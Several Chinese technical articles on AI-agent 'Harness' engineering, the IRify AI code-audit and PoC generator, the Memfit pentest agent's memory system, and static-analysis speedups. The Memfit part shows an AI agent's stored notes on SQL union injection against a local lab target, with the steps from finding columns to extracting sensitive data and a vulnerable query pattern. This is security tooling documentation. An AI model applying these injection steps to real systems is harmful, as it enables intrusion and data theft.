然而，随着AI自动跑通的流程越来越多，我发现了影响我注意力的一个新阻塞点：验收的时候需要花费大量时间查看AI的总结文本与截图。由于运行在终端的AI无法直接展示图片，每天面对它扔过来的一大堆零散文本和截图路径，我必须手动挨个去文件夹里点击查看。特别是在多任务并行时，光是“把截图和任务对上号”就要耗费我极大的脑力。为了彻底回收我的注意力，我意识到：Harness不仅要让AI自动干活，还要让它以“认知负荷最低”的方式来汇报。于是，我扣动了最后一块Harness拼图：强制AI在每次完成任务后，将所有验证结果和截图严格按照“报纸排版”的格式输出。因为报纸的图文混排，是数百年来沉淀下的、最契合人类视觉检索和吸收信息的媒介。如今，我只需像读晨报一样扫一眼这些图文并茂的总结，就能一键验收所有的功能，俗称“赛博看报”~

“赛博看报”示意图

AI自动截图示意图

事实上，有意识地为AI扫清运行阻力，我们可以借助很多工具。你可以编写 Python 或 Shell 脚本让AI固定执行某项操作，也可以固化提示词让它精准理解任务意图。当“脚本”与“提示词”相结合，就产生了一个这两年极火的概念：Skills 。我们会去寻找热门好用的Skills，给我们Agent插上翅膀。但笔者认为，真正的Harness思维要求我们：不要只做Skills的消费者，而要主动在复杂的业务中“沉淀”出自己的专属Skills。

这种“沉淀”在处理长链条复杂任务时，能爆发出惊人的威力。以笔者近期对IRify做BenchMark（基准测试）验证为例：我需要让AI扫描具体项目、找出漏报误报、修复规则，最后再补充测试将内容固化下来。如果在传统的AI对话模式下，这个过程存在三大“注意力黑洞”：一是任务链条极长，需要反复横跳；二是AI不懂特定的规则语法（SyntaxFlow），每次都要花大量时间参考旧规则；三是项目内测试套件繁多，AI经常像无头苍蝇一样找不到添加测试的正确位置。如果按照以前对话式让AI执行任务，AI效率低不说，如果出错我还得继续对话提醒它，会把我折磨得够呛。但现在，当我耐着性子，在一次对话中把这套包含环境配置、背景知识和执行逻辑的工作流彻底跑通后，我直接将它“沉淀”为了专属Skill。后续面对同样的需求，我只需一键触发，AI就能在最小阻力下自动执行，彻底免去了反复对话和调教的煎熬。

IRify业务沉淀的Skill

经历了这些实战，我越发确信：Harness 绝不仅仅是几行脚本或几组提示词，它本质上是一种工程思想，更是一种工作哲学/方法论。 其实更进一步讲，这也不是新的东西，不过是新瓶装旧酒，其核心就是DevOps、流程工程、自动化这些工程思维，只是因为AI语境加持下像新的革命。但是也应该承认，它确实提醒我们应该转变工作思维。诚然，业界已经有了 Claude Code 这样优秀的最佳实践产品，但它们绝不是一招打遍天下的“万能解药”。在千差万别、充满各种“脏活累活”的真实日常项目中，没有哪个现成的工具能完美契合所有人的工作流。这就要求我们每一个普通开发者，必须在日常工作中时刻保持这种 Harness 意识。

笔者认为日常开发中可以从两方面使用这种工作哲学。对于我们自己，要敏锐地识别出自己宝贵的“注意力”到底流失在了哪里，主动把它们抢夺回来；对于 AI，我们则要转换身份，作为“辅助者”去观察它在执行任务时的“阻塞点”在哪里，并主动为它修桥铺路、优化运行环境。

当然仅仅从“##Agent使用者”这个角度要有Harness工作哲学，我认为“##Agent开发”更需要这种哲学。 我时常听到做Agent开发的朋友，认为他们自己在造的是和Claude Code、Codex一样的轮子。但是我认为他们更像是把各种轮子组装起来，以适合具体行业的垂直业务。世上并不存在能完美适配所有场景的“##通用Agent”，有时候我们认为某些Agent如此强大，是因为大模型本身能力强占据很大一部分功劳。但是当模型能力发展达到一定瓶颈，识别模型在具体场景运行的阻塞点，并将其运行环境改造，我认为还是十分有价值的。

最近发布的新产品Memfit，我觉得就能够很好地阐述这种哲学。Memfit是为网络安全领域设计的Agent，它能够胜任渗透测试等非确定任务。与需求明确的编程任务不同，渗透测试是高度“发散”和非确定性的：AI只能边收集信息边摸索测试路径，且随时会被新发现的情报改变走向。这种不确定性，注定了 MemFit 无法照搬 Claude Code 的设计哲学。以最核心的“Plan（规划）模式”为例：常规编程Agent会严格、刻板地执行既定Plan；而 Memfit 的Plan则是实时“生长”的——它会根据执行中收集到的新信息，动态修正和重写后续的测试计划。

不迷信通用的刻板流程，为不确定性定制能自我纠偏的运行环境，我认为这才是Harness。无论是面对 IRify 这样需求明确的常规开发，还是 Memfit 这种充满未知的渗透测试，Harness 的内核其实从未改变。它要求我们跳出“被动执行”的框架，去洞察具体业务场景下的真实阻力，进而为 AI 量身定制最合适的运行规则。真正实用的生产力，并不单纯依赖一个万能的大模型，而是依赖契合具体业务的Harness 执行环境。

我深感这两年##AI发展对编程方式变化非常大。回想两年前，还需要整日整日看底层SSA的代码，不断调整某个具体函数怎么写；一年前则是不断与Cursor对话，去完善具体某个功能的细节；而现在，则需要去构建属于你自己的自动化执行环境，告诉它要去哪里，然后让它自己找路。当我们不再被动地当一个疲于奔命的“代码审查机”，而是亲手为 AI 扫清障碍时，我们便蜕变成了真正驾驭复杂系统的主人。到那时，那种久违的、自我价值实现的快乐，才算真正回到了我们手中。

参考文献：

OpenAI. (2026). 工程技术：在智能体优先的世界中利用 Codex (Harness Engineering). 检索自: https://openai.com/index/harness-engineering/

汤道生. (2026). 人工智能正式进入 Harness 时代. 腾讯云与智慧产业事业群.

黄佳. (2026). 从GoF到Agent，设计模式30年演进与Harness革命.

V1ll4n. (2026). Memfit AI: 连续渗透测试N小时不迷路的生产级AI Agent. Yak Project.

The Architect of Connectivity: A Comprehensive Technical Analysis of Modern Harness Engineering. (2026).

Datawhale.(2026).最新！万字综述Harness革命！

END 

跳转微信打开

基于 Memfit AI，解锁代码安全审计新范式

在 Yaklang 的AI ReAct体系里，“代码安全审计”被注册为一个独立的循环类型。用户触发后，运行时会先构造一份贯穿全程的审计状态对象，并把 AI 工作目录记下来，所有阶段性产物都收敛到该目录下的审计子目录里，避免和别的任务混杂

目前在 IRify 中有两个入口：

1.在项目编译的右下角选择：进行AI审计（前端需要更新，后续版本会修复）

2.在 AI Agent 页面选择专注模式：代码安全审计

审计状态贯穿四个阶段，记录项目名称与路径、技术栈与入口点摘要、侦察报告路径与笔记文件列表、扫描阶段的结构化发现列表、各类别扫描的观察与不确定线索、验证阶段的确认与排除结论、以及最终报告内容与路径。

接下来我们就使用 Yaklang 的内置靶场进行测试。

主编排器并不亲自完成目录巡视，而是创建一个“目录探索”类的子循环，把侦察笔记的预期输出路径和探索工作目录通过变量传进去，然后用独立的子任务执行该循环。

在探索过程中，程序会先阅读 go.mod 读取依赖，然后利用各种内置工具获取项目结构。

探索结束后，主编排器从子循环的命名变量里回收结果：真实项目路径与名称、技术栈描述、入口点摘要、汇总侦察报告文件路径、以及探索过程中通过写文件产生的笔记路径列表等，并写回共享审计状态。

第二阶段本身又分为两层：外层的类别编排与内层单个类别的 ReAct 扫描。

外层首先用一次偏“快”的模型调用，让 AI 在结构化输出中确定本次要扫哪些默认漏洞类别、用户是否额外指定了自定义类别（带关键词与补充说明）。若这次规划失败，则退回内置默认类别全集，保证流程不中断。

每一个漏洞类别采用两段式策略：

• 第一段是关键词搜索阶段：模型根据该类别的 Sink 语义提示和技术栈，自行决定 grep 策略，强调用“仅返回匹配文件”的模式避免结果被截断遗漏；每搜一轮就把命中文件的绝对路径通过专用动作合并进待审计列表，并可继续多轮搜索。

• 第二段是逐文件审计阶段：对上一段锁定的每个文件依次读取内容，若确认存在问题则提交结构化 finding，其中对置信度有下限要求，过低会被拒绝以抑制随手报漏洞。

上图为关键词搜索第一段的截图，程序先找到了vul_cmdi.go 等明显包含漏洞示例的高风险文件，然后进入第二段逐行搜索。

通过工具阅读可能有问题的代码片段，交给AI完成进行审计。

验证阶段的专用动作主要包括几类：

1.沿数据流逐步记录追踪节点，把步骤、变量、位置、推断来源类型等记进时间线

2.记录认为的过滤或校验及有效性判断

3.对某个 finding 给出最终结论，只能从确认、排除、需人工确认三种状态里选，并附带置信度与理由，可选地精炼数据流、利用方式与修复建议

4.再次读取侦察背景报告

5.当全部 finding 都有了结论后调用完成验证并退出本阶段

系统创建“报告生成”类的子循环，把最终 Markdown 报告路径、写作任务说明、以及必须阅读的参考文件列表注入子循环变量，由专门写长文的循环读入这些数据并写入磁盘。

除了纯AI的代码审计以外，IRify 还支持利用现有的风险信息进行代码审计。对于这种精确又轻量级的功能我们选择使用 forge 实现。

例如我们已经对某个项目完成了扫描，得到了如下的风险信息：

现在我们想对序号为1的高危风险 “检测到Golang服务器端模板注入漏洞” 进行AI审计，就可以在 AI Agent 的工具库中搜索ssa-risk找到目标，点击后在弹窗页面输入风险序号：1

执行完成后AI会返回一个简单的漏洞解析报告。

目前 IRify 中内置了 python 和 yak 这两种语言的代码构造器，可以生成没有语法错误的正确代码，结合对风险的代码审计功能（工具库中的ssa-risk），即可直接根据风险生成Poc样例。

在已有静态分析风险结果的前提下，用多步推理把「风险元数据 + 源码/片段上下文 + 漏洞类型」转成「能拿去授权环境里做验证的概念验证脚本」。在技能库中搜索“根据SSA Risk智能生成Poc”，点击后在弹窗配置需要审计的风险序列号后即可开始生成Poc样例。

程序会先运行一次ssa-risk审计风险相关内容，之后程序会从如下几个方向进行思考：

1.判断源码能不能跟

看关联项目是不是内存编译、有没有源码：能跟就继续用 listing/grep/read 补全路由和调用链；不能跟就主要依赖 Risk 里自带的代码片段。

2.补上下文（可选）

在可读源码时，按需列目录、搜路由/配置、读关键文件，把「真实入口、方法、参数、鉴权」抠出来。

3.分类 + 攻击面分析

把风险归到 SQLi/XSS/SSRF 等具体利用思路，对齐数据流，定 Poc 技术路线（这一步侧重分析，不要求先写长文）。

4.找 Poc 模板

用模板检索工具按漏洞类型拿 Python 侧的请求构造、解析结果等骨架，减少AI幻觉。

下面图片中展示了程序判断目标项目是否可达和进行数据流分析的过程：

本系统支持在参数target_base_url中配置目标项目的真实运行环境地址（如http://your-app:8080），系统将自动执行智能化安全分析验证流程，最终会生成报告和Poc样例代码：

这里的「美化」主要指把一份.sf 规则文本按统一规范重新排版输出：缩进、换行、desc / alert 与规则体的结构会更整齐；在带选项时还可以补全或规范化元数据（例如规则 ID、描述里要求的字段等）。

目前 Syntaxflow 规则美化有两个入口：新建规则右上角，代码审计的规则编写页面右上角。

需要注意的是：在美化开始之前需要保证当前的规则没有语法错误，因为我们会在美化开始前后结束后各运行一次 Syntaxflow 语法检测以保证美化本身不会破坏规则的语法。并且规则美化采用了严格元数据替换逻辑，不用担心会破坏规则本身的内容。

该功能会在内置规则样例知识包上做检索，再结合单文件编辑工具链和 SyntaxFlow 编译校验，迭代写出合法的 .sf文件

在AI Agent页面选择专注模式：write_syntaxflow_rule

系统行为：抽取样例（语言/虚拟文件名/代码正文）并保存 → 生成规则时把样例作为 UNSAFE 正例测试块嵌入规则末尾 → 生成后必须用语法/样例命中校验做自检，不通过就迭代修改直到通过。

1.知识检索

• 压缩包检索：在 syntaxflow-aikb 里按模式搜命中片段（带上下文）。

• 向量检索（有则启用）：用多句完整问句查 syntaxflow-aikb-rag，结果去重并 重排（更偏向带可执行规则特征的内容，弱化纯长文说明）。

2.知识压缩

• 把 grep + RAG 拼起来的原始结果往往很大，会先合并成一大段文本，再调用 面向当前需求与搜索条件的压缩（按实现里约 10KB 量级 的目标压一版）。

3.落盘与钉文件

• 有漏洞样例会先写成临时样例文件；然后要么打开用户指定的 .sf，要么新建一个空.sf 生成稿，并把路径固定为后续编辑目标。

4.多轮写改 + 校验

• 模型用写/改规则等动作维护规则正文；每次改动会走 SyntaxFlow 语法与格式诊断（有误则阻断继续乱改）。若带了样例，还会用 check-syntaxflow-syntax 做正例自检，直到规则在样例上能按预期命中。

使用方法直接输入一段漏洞样例代码，它就会自动完成 Syntaxflow 规则并且进行语法检测和可用性检查，最后会进行规则打分。

可以在文件树中找到生成的 Syntaxflow 规则。

现有的 AI 代码审计仍然有许多代码难点没有攻克，受到模型质量和上下文限制的影响，AI 审计在面对大项目时表现不佳，核心问题就是稳定性太低，多少审计很难输出相同的结果。我们正在尝试用稳定的代码扫描风险产物来为不稳定的纯 AI 代码审计补充支撑。

IRify 代表了代码安全审计向智能化、自动化、精准化发展的趋势。通过 Yaklang 的 AI ReAct 体系，将人类专家的经验模式与 AI 的快速分析能力相结合，构建了新一代安全分析平台的核心能力。系统将持续优化在复杂项目、多语言支持、云原生环境等场景下的表现，为软件安全开发生命周期提供更全面的智能支持。

END 

跳转微信打开

C.O.R.E. P.A.C.T. 模型加持，跨越 AI 专家级最后一道坎

在上一篇文章中Memfit AI 专业记忆:Agent 动手之前,先翻了一遍你的知识库,我们解决了 Agent 的“见识”问题。通过内置的知识库系统,Agent在执行攻击前,能够像资深专家一样先翻阅企业的私有测试和规范文件,确保自己的行动不脱离合规基线。

但作为一名真正的生产级 Agent,仅仅“有见识”是不够的。

知识库是别人给的经验,而记忆是自己实践的成果。

在长达数小时的连续渗透中,Agent 会遇到无数教科书和规范里没有写的“暗坑”:比如某个特定业务系统的异常报错、某个只有在特定内核版本下才会触发的 Payload 偏移、或者是某次成功提权后的环境特征。

如果这些实战经验随看随忘,那么下一次遇到同样的阻碍,Agent 还要重新走一遍 RAG 检索、重新分析、重新试错。这种低效的重复,是阻碍 AI 迈向“专家级”的最后一道坎。

我们需要 Agent 不仅能“翻书”,还能在实战中“吃一堑,长一智”。

本篇文章,我们将深入探讨 Memfit AI 的长期记忆(Long-term Memory)系统。你会看到,Agent 如何在执行任务的过程中,自主地对攻击路径进行复盘,并通过一套严苛的 C.O.R.E.P.A.C.T.评估模型,将零散的执行日志炼化为结构化的“肌肉记忆”。

当 Agent 再次站在类似的战场前,它不再需要去知识库里大海捞针,而是能直接凭借这种“长期记忆”,避开坑点。

开发者最头疼的就是“上下文爆炸”。若将每一句对话和回显都存入 RAG,知识库很快会变成噪音堆。Memfit AI 引入了 C.O.R.E. P.A.C.T. 审计算法,在记忆沉淀前进行价值审计。

这是一个我对vulinbox靶场的SQL检测产生的记忆案例图。

以针对 http://127.0.0.1:8787 的 SQL 注入检测为例。通用 AI 只会复现 ORDER BY 的标准动作,但 Memfit AI 沉淀了如下记忆:

记忆摘要: 在联合查询探测失败(列数不匹配)时,应优先使用 ORDER BY 子句从 1 开始递增探测以确定正确的列数,而非直接尝试构造 Union Select Payload

除了这个记忆以外 还有一些更具体的记忆。

记忆摘要: 针对靶场目标,memfit已经探测过是 9 列数据库

维度过滤逻辑(雷达图分析)

通过 Memfit 独有的评估模型,我们可以看到这条记忆为何被视为“黄金经验”:

• O(来源可靠性)-0.9:该策略源于 Agent 在实战中遭遇的“探测失败”。失败的回显是真实的数据反馈,可靠性极高。

• A(经验价值)-0.8:这不是废话,它给出了明确的替代动作(从1开始递增探测)。这类具有“可操作性”的记忆是 Agent 进化的燃料。

• R(重要性)-0.8:确定列数是 SQL 注入的基石。记住这个策略,意味着 Agent 在未来的所有同类任务中,都能规避“盲目构造 Payload”的时间浪费。

• C(关联度)-0.8:它被贴上了 sql-injection 和 testing-methodology 的标签,能精准钩住后续所有涉及数据库探测的资产。

问题索引:索引记忆

还有一个值得一提的设计在于记忆底部的 Potential Questions(潜在问题)。Memfit AI 在存储记忆时,会自动预判未来自己可能会问的问题:

1.“当联合查询探测失败时,如何确定数据库返回的列数?”

2.“SQL 注入中 ORDER BY 探测的具体执行步骤是什么?”

这意味着什么?

当下一次 Agent 在新任务中遇到“联合查询报错”时,它脑中会产生类似的疑问。系统会瞬间匹配到这些“潜在问题”,将这条的记忆加入当上下文中,帮助AI回忆起之前的经验。

Agent 不再是在搜数据库,而是在“回想”自己的成功经验。

有了合理的记忆设计,还有一道门槛如何在某一个时间在合理的位置到找合适的记忆。

Memfit AI 的 AIMemoryTriage(记忆分选器)通过一套严密的加权重排算法,将静态的 C.O.R.E. P.A.C.T. 理论转化为了生产环境中的实时决策流。

我们为记忆设定了七个维度的权重。先从海量的记忆中排除各种过于极端偏激,或者无意义的经验指导,初步完成记忆寻找。

weights := map[string]float64{
    "R": 0.25, // Relevance - 核心相关性,决定了搜索的基调
    "C": 0.20, // Connectivity - 关联度
    "T": 0.15, // Temporality - 时效性,确保经验不过期
    "A": 0.15, // Actionability - 可操作性,拒绝无意义的废话
    "P": 0.10, "O": 0.10, "E": 0.05, // 辅助维度
}

静态分数保证了记忆的质量,而(关键词加成)则赋予了记忆灵活性。

即使一条记忆的原始评分很高,如果它与当前 Query(查询词)不匹配,它依然会被降权。我们中设计了五级加成机制:

contentBonus := 0.0
// 1. 内容关键词匹配分数 (权重: 0.1)
contentMatchScore := t.keywordMatcher.MatchScore(query, memory.Content)
contentBonus += contentMatchScore * 0.1
// 2. 标签关键词匹配 (权重: 0.08)
tagContent := strings.Join(memory.Tags, " ")
tagMatchScore := t.keywordMatcher.MatchScore(query, tagContent)
contentBonus += tagMatchScore * 0.08
// 3. 问题关键词匹配 (权重: 0.05)
questionContent := strings.Join(memory.PotentialQuestions, " ")
questionMatchScore := t.keywordMatcher.MatchScore(query, questionContent)
contentBonus += questionMatchScore * 0.05
// 4. 直接关键词包含检查 (权重: 0.05)
if t.keywordMatcher.ContainsKeyword(query, memory.Content) {
    contentBonus += 0.05
}
// 5. 所有关键词都包含的奖励 (权重: 0.03)
if t.keywordMatcher.MatchAllKeywords(query, memory.Content) {
    contentBonus += 0.03
}
// 限制加成不超过0.3
if contentBonus > 0.3 {
    contentBonus = 0.3
}

1.标签匹配(0.08): 命中 #sql-injection 或 #rce 等专家标签。

2.内容匹配(0.10):扫描 Payload 或回显中的关键字符串。

3.反思匹配(0.05):匹配 Agent 此前自发生成的 PotentialQuestions。

4.全关键词奖励(0.03):确保精准匹配的记忆能够“置顶”。

所以最后的排序评分公式为:

$$FinalScore = \text{BaseScore} + \sum \text{KeywordBonus} (\text{Max } 0.3)$$

[ must_aware ]
- 关键偏好/约束:对目标URL http://127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,验证注入点存在性、确定列数与回显位、提取数据库信息(版本/当前库/当前用户)、枚举表名列名、提取敏感数据;使用do_http_request工具构造HTTP请求完成测试 (u=0.88, P=0.80, R=0.90, age=1m55s)


[ action_tips ]
- 经验/可执行提示:SQL 联合注入测试目标 URL 为 http://127.0.0.1:8787/user/name?name=admin,该端点存在未参数化 SQL 查询:query = f"SELECT * FROM users WHERE username = '{name}'",属于典型注入漏洞点;测试需覆盖字段数判断、回显位置定位、数据库信息获取、表名/列名枚举、敏感数据提取等步骤。 (u=0.86, A=0.90, R=0.90, T=0.90, age=4m59s)
- 经验/可执行提示:对URL http://127.0.0.1:8787/user/name?name=admin 执行字符型SQL联合注入测试,测试流程包含:1)注入点确认;2)确定列数;3)确定回显位;4)提取数据库信息(版本/当前库/当前用户);5)枚举表名和列名;6)提取敏感数据。 (u=0.83, A=0.80, R=0.90, T=0.80, age=28m8s)
- 经验/可执行提示:用户指令明确要求对指定URL执行SQL联合注入测试,该请求已通过意图识别流程确认为安全测试任务,目标是探测目标服务是否存在SQL联合注入漏洞。 (u=0.83, A=0.90, R=0.90, T=0.80, age=11m35s)
- 经验/可执行提示:对目标URL http://127.0.0.1:8787/user/name?name=admin 执行SQL联合注入测试,需验证注入点存在性、确定列数与回显位、提取数据库版本/当前库/当前用户、枚举表名列名、提取敏感数据;已知目标支持布尔盲注和时间盲注,需手动构造HTTP请求完成测试。 (u=0.83, A=0.90, R=0.90, T=0.80, age=8m25s)

在检索到了记忆的实体之后,memfit在将其注入到最终prompt中还有一步重要的操作:意图路由

其核心观点是:不同任务下,记忆的优先级应当完全不同。

记忆路由分配

通常来说记忆的检索会将所有的所有文本视作平等的“背景资料”,而我们尝试通过上面的评分的机制通过多维特征识别,将原始记忆分配到不同的路由中:

• MustAware(关键约束):识别为用户硬性偏好或禁忌的信息。它们被赋予最高权重,防止模型违背核心指令。

• ActionTips(经验提示):提取自过去成功操作的建议。这能让模型在面对类似任务时,直接继承之前的经验。

• ReliabilityWarning(风险预警):专门针对相关度高但置信度低的信息。通过打上“待确认”标签,提示模型在处理时触发核验流程。

• EmotionalContext(情绪线索):捕捉对话中的情感基调,确保 AI 的回复不仅逻辑正确,且能考虑用户偏好与情绪

结构化排序

如果说路由分配是“分类”,那么结构化排序就是“调度”。模型处理 Prompt 的能力是有限的,“先看到什么”直接决定了模型的推理路径。 系统会根据当前的**任务意图(Memory Intent)**动态调整路由的展现顺序:

• 建议意图(Advice):优先排布ActionTips。模型进入“执行者”模式,首先关注“怎么做”。

• 核验意图(FactCheck):优先排布ReliabilityWarning。模型进入“审计者”模式,首先关注“哪些信息可能存疑”。

...

Prompt 渲染策略:格式化渲染

在memfit的工程中,经过意图路由分类排序的记忆,再最终进入prompt时候还有最终的处理策略

1.语义标签化

系统会根据路由角色自动添加前缀,引导模型思考:

• 如果是 ActionTips,前缀是“经验/可执行提示:”

• 如果是 MustAware,前缀是“关键偏好/约束:”

2.透明的元数据(Metadata)

每一条记忆后面都跟着一串精准的权值:(u=0.85, sim=0.92, A=0.80, R=0.90)

• u (Utility): 效用分,告诉模型这条记忆在当前上下文中的含金量。

• age: 记忆的“年龄”,让模型感知信息的是时效性。

如果说知识库是企业为 Agent 准备的“入职培训手册”,那么长期记忆系统就是 Agent 在炮火中磨砺出来的“实战笔记”。

在复杂的生产级渗透任务中,我们并不需要一个只会机械执行指令的程序,而是一个能够自我复盘、精准避坑、持续进化的数字伙伴。通过C.O.R.E. P.A.C.T. 模型的分门别类,Memfit AI 成功将那些碎片化的回显日志转化为结构化的“肌肉记忆”,让 Agent 在下一次面对同样的暗坑时,能凭借直觉般的经验迅速做出最优决策。

记忆的意义,不在于记住了多少过去,而在于如何高效地重塑未来。

当 Agent 拥有了独立思考与总结经验的能力,它便不再只是一个执行工具,而是真正迈向了“专家级”的门槛。

END

跳转微信打开

四大核心模块+AI辅助

解锁静态分析新速度~

先说几个最直观的结果。

• 在真实目标 spring-cloud-netflix 上，这一轮 CodeScan 调优过程中的观测值，从 10.08s 降到了 5.59s。

• 在 SSA 指令搜索这条线上，sfvm.nativecall:getFormalParams:java-servlet-param 这一类核心热点，已经从早期的 6.065s 量级压到了“几十毫秒”量级。

• 在 PHP mixed HTML 这个最典型、也最难看的前端热点上，BenchmarkFrontendPfsenseSystemInformationFixture 从 15.36s/op 降到了 6.95s/op，时间下降约 54.74%；本地当前主线补跑时，结果也稳定在 7.82s/op 左右。

• 在 Java 大型反编译目标的 AST-only 实验里，ANTLR 缓存清理参数调优前后，可以从 78.46s / 19.34GB 这类结果，压到 53.01s / 5.63GB 这一档；如果追求更激进的速度甜品点，也已经能跑到 51s 左右。

• 在 Java 反编译大项目目标上，前端 AST 错误和 panic 已经被清到 0，系统瓶颈开始从“前端根本过不去”后移到“落库和持久化阶段怎么继续压”。